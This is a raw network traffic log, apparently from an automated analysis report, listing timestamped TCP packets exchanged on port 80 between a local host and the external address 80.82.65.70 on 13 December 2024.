Dec 13, 2024 03:40:51.049087048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.049134016 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.049237013 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.049283028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.049921989 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.049979925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.050046921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.050143003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.105473995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.105552912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.105566025 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.105652094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.105741978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.105779886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.105807066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.105823040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.106028080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.106081963 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.106864929 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.106924057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.106931925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.106983900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.107548952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.107646942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.107692003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.107795954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.108382940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.108419895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.108453035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.108453035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.109085083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.109157085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.109239101 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.109311104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.109899998 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.109968901 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.110014915 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.110196114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.110686064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.110791922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.110825062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.110901117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.111567020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.111690998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.111706972 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.111763954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.112317085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.112405062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.112437963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.112548113 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.113133907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.113245010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.113251925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.113471985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.113948107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.113997936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.114044905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.114103079 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.114798069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.114887953 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.114927053 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.115001917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.115596056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.115647078 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.141542912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.141597986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.141602993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.141638041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.141674995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.141674995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.141741991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.141783953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.142546892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.142602921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.142618895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.142729044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.143429995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.143481970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.143547058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.143547058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.143925905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.143986940 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.144026041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.144494057 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.144716978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.144834042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.144834042 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.144881010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.145553112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.145593882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.145663977 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.145723104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.146377087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.146491051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.146523952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.146805048 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.147177935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.147236109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.147303104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.147371054 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.148000002 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.148094893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.148130894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.148190975 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.148803949 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.148926020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.148967028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.148967028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.149641037 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.149686098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.149755955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.149812937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.150423050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.150479078 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.150544882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.150635004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.151269913 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.151335001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.222006083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.222062111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.222094059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.222105026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.222124100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.222208023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.222228050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.222265959 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.223054886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.223115921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.223176956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.223176956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.223601103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.223668098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.223720074 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.223763943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.224376917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.224455118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.224494934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.224546909 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.225203991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.225270987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.225311041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.225358009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.226038933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.226092100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.226131916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.226185083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.226845026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.226876974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.226937056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.227061987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.227642059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.227694988 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.227742910 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.227796078 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.228454113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.228532076 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.228542089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.228703022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.229314089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.229371071 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.229402065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.229439020 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.230091095 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.230200052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.230211020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.230299950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.230927944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.230982065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.231023073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.231080055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.231731892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.231786966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.231826067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.231864929 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.232547045 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.232603073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.232656956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.232712030 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.233372927 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.233442068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.233460903 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.233531952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.234252930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.234340906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.234432936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.234486103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.235016108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.235069990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.235137939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.235265970 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.235836983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.235893011 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.235959053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.236068010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.236639023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.236690044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.236763000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.236821890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.237473011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.237543106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.237590075 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.237684011 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.238281965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.238321066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.238394022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.238426924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.239146948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.239207029 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.239275932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.239334106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.240080118 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.240233898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.240273952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.240329027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.240951061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.240991116 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.241003036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.241050005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.241554022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.241661072 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.241673946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.241746902 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.242419004 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.242449045 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.242470980 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.242516041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.297971964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.298028946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.298105001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.298105001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.298116922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.298223019 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.298291922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.299127102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.299200058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.299254894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.299259901 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.299336910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.299990892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.300046921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.300074100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.300121069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.300565004 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.300614119 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.300666094 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.300713062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.301387072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.301434994 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.301489115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.301565886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.302196026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.302259922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.302306890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.302367926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.303033113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.303101063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.303149939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.303241014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.303819895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.303896904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.303937912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.304002047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.304982901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.305033922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.305105925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.305179119 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.305464983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.305510998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.305578947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.305622101 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.306278944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.306361914 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.306396008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.306479931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.307117939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.307199001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.307234049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.307331085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.307868958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.307925940 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.334387064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.334445000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.334481955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.334558010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.334558010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.334558010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.334563017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.334616899 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.335375071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.335432053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.335443020 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.335486889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.335941076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.335998058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.336051941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.336107969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.336733103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.336783886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.336848021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.336911917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.337548018 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.337699890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.337712049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.337766886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.338368893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.338428974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.338485956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.338541985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.339206934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.339303017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.339339018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.339360952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.339986086 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.340078115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.340112925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.340254068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.340811968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.340914011 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.340926886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.340986967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.341628075 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.341715097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.341737986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.341798067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.342442989 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.342521906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.342569113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.342670918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.343281031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.343333960 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.343363047 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.343446016 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.344085932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.344146013 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.413856983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.413942099 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.414063931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.414063931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:51.414079905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:51.414130926 CET	49730	80	192.168.2.4	80.82.65.70
